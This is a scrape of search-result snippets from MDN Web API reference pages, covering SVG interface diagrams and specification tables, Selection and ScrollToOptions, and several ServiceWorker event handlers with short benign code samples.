<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... specifications specification status comment filter effects module level 1the definition of 'svgfemergenodeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergenodeelement' in that specification.
SVGFEMorphologyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... specifications specification status comment filter effects module level 1the definition of 'svgfemorphologyelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemorphologyelement' in that specification.
SVGFEOffsetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
... specifications specification status comment filter effects module level 1the definition of 'svgfeoffsetelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeoffsetelement' in that specification.
SVGFEPointLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... specifications specification status comment filter effects module level 1the definition of 'svgfepointlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfepointlightelement' in that specification.
SVGFESpotLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="1...
... specifications specification status comment filter effects module level 1the definition of 'svgfespotlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespotlightelement' in that specification.
SVGFETileElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
... specifications specification status comment filter effects module level 1the definition of 'svgfetileelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfetileelement' in that specification.
SVGFETurbulenceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... specifications specification status comment filter effects module level 1the definition of 'svgfeturbulenceelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeturbulenceelement' in that specification.
SVGFilterElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 1...
... specifications specification status comment filter effects module level 1the definition of 'svgfilterelement' in that specification.
... working draft removed the inheritance from svglangspace, svgexternalresourcesrequired, svgstylable, and svgunittypes and removed the setfilterres() function scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfilterelement' in that specification.
SVGFilterPrimitiveStandardAttributes - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfilterprimitivestandardattributes" target="_top"><rect x="1" y="1" width="360" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfilterprimitivestan...
... specifications specification status comment filter effects module level 1the definition of 'svgfilterprimitivestandardattributes' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfilterprimitivestandardattributes' in that specification.
SVGForeignObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgforeignobjectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement and svgurireference scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgforeignobjectelement' in that specification.
SVGGeometryElement.getPointAtLength() - Web APIs
return value a dompoint indicating the point at a given distance along the path.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.gettotallength()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.getTotalLength() - Web APIs
syntax float someelement.gettotallength(); return value a float indicating the total length of the path in user units.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.gettotallength()' in that specification.
... candidate recommendation initial definition ...
SVGGlyphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphelement</te...
...xt></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgglyphelement' in that specification.
SVGGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification.
... candidate recommendation removed inheritance of svgexternalresourcesrequired, svgstylable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggradientelement' in that specification.
SVGLinearGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineargradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineargradientelement' in that specification.
SVGMPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
... specifications specification status comment svg animations level 2the definition of 'svgmpathelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmpathelement' in that specification.
SVGMetadataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgmetadataelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
SVGPolygonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolygonelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolygonelement' in that specification.
SVGPolylineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,3...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolylineelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolylineelement' in that specification.
SVGRadialGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgradialgradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgradialgradientelement' in that specification.
SVGRectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,2...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgrectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrectelement' in that specification.
SVGRenderingIntent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrenderingintent" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hove...
...r text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrenderingintent' in that specification.
SVGSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="...
... specifications specification status comment svg animations level 2the definition of 'svgsetelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsetelement' in that specification.
SVGTSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" strok...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtspanelement' in that specification.
... candidate recommendation no changes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtspanelement' in that specification.
SVGTests - Web APIs
WebAPISVGTests
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtests' in that specification.
... candidate recommendation removed requiredfeatures property and hasextension() method.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtests' in that specification.
SVGTextPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpathelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpathelement' in that specification.
SVGTextPositioningElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpositioningelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpositioningelement' in that specification.
SVGUnitTypes - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div>...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgunittypes' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
SVGViewElement - Web APIs
each of the domstring values can be associated with the corresponding element using the getelementbyid() method call.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgviewelement' in that specification.
... candidate recommendation removed a mixin svgexternalresourcesrequired scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgviewelement' in that specification.
Screen.mozBrightness - Web APIs
indicates how bright the screen's backlight is, on a scale from 0 (very dim) to 1 (full brightness); this value is a double-precision float.
... you can read and write this attribute even when the screen is disabled, but the backlight is off while the screen is disabled.
... syntax let screenbrightness = window.screen.mozbrightness; specifications not part of specification.
ScreenOrientation - Web APIs
properties screenorientation.typeread only returns the document's current orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary".
... event handlers screenorientation.onchange the eventhandler called whenever the screen changes orientation.
... specifications specification status comment screen orientation apithe definition of 'screenorientation' in that specification.
ScrollToOptions.behavior - Web APIs
syntax behavior: scrollbehavior value an enum, the value of which can be one of the following: smooth: the scrolling animates smoothly.
...the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
...'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'behavior' in that specification.
ScrollToOptions - Web APIs
a scrolltooptions dictionary can be provided as a parameter for the following methods: window.scroll() window.scrollby() window.scrollto() element.scroll() element.scrollby() element.scrollto() properties scrolltooptions.top specifies the number of pixels along the y axis to scroll the window or element.
...the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
...'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltooptions' in that specification.
Selection.containsNode() - Web APIs
the selection.containsnode() method indicates whether a specfied node is part of the selection.
... html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); cons...
...t found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
Selection.isCollapsed - Web APIs
the selection.iscollapsed read-only property returns a boolean which indicates whether or not there is currently any text selected.
...in that scenario, calling a selection object's getrangeat() method may return a range object which is collapsed.
... syntax bool = sel.iscollapsed specifications specification status comment selection apithe definition of 'selection.iscollapsed' in that specification.
Sensor.timestamp - Web APIs
WebAPISensortimestamp
syntax var timestamp = sensorinstance.timestamp because sensor is a base class, timestamp may only be read from one of its derived classes.
... specifications specification status comment generic sensor apithe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
Server-sent events - Web APIs
these incoming messages can be treated as events + data inside the web page.
... examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent events' in that specification.
... living standard see also tools eventsource polyfill for node.js remy sharp’s eventsource polyfill yaffle’s eventsource polyfill rick waldron’s jquery plugin intercooler.js declarative sse support related topics ajax javascript websockets other resources a twitter like application powered by server-sent events and its code on github.
ServiceWorker.onstatechange - Web APIs
an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
...this is because the statechange // event gets queued, meanwhile the underlying worker may have gone into the waiting // state and will be immediately activated if possible.
... } }) specifications specification status comment service workersthe definition of 'serviceworker.onstatechange' in that specification.
ServiceWorkerContainer.onmessage - Web APIs
the onmessage property of the serviceworkercontainer interface is an event handler fired whenever a message event occurs — when incoming messages are received to the serviceworkercontainer object (e.g., via a client.postmessage() call).
...(they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkercontainer.onmessage = function(messageevent) { ...
... } example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment service workersthe definition of 'serviceworkercontainer: onmessage' in that specification.
ServiceWorkerGlobalScope: activate event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the serviceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ...
... }; specifications specification status comment service workersthe definition of 'activate' in that specification.
ServiceWorkerGlobalScope: contentdelete event - Web APIs
bubbles no cancelable no interface contentindexevent event handler property oncontentdelete examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ...
... }; specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope: install event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js',...
... '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); you can also set up the event handler using the serviceworkerglobalscope.oninstall property: globalscope.oninstall = function(event) { ...
... }; specifications specification status comment service workersthe definition of 'install' in that specification.
ServiceWorkerGlobalScope: push event - Web APIs
bubbles no cancelable no interface pushevent event handler property onpush example this example sets up a handler for push events that takes json data, parses it, and dispatches the message for handling based on information contained within the message.
... self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
... working draft initial specification.
ServiceWorkerMessageEvent.data - Web APIs
important: in modern browsers, this property has been deprecated.
...it can be any data type.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent - Web APIs
important: in modern browsers, this interface has been deprecated.
...it can be any data type.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.unregister() - Web APIs
the promise will resolve to false if no registration was found, otherwise it resolves to true irrespective of whether unregistration happened or not (it may not unregister if someone else just called serviceworkercontainer.register() with the same scope.) the service worker will finish any ongoing operations before it is unregistered.
... return value promise resolves with a boolean indicating whether the service worker has unregistered or not.
... service worker example, but then immediately unregisters it again: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); registration.unregister().then(function(boolean) { // if boolean = true, unregister is successful }); }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.unregister()' in that specification.
SharedWorkerGlobalScope.close() - Web APIs
the close() method of the sharedworkerglobalscope interface discards any tasks queued in the sharedworkerglobalscope's event loop, effectively closing this particular scope.
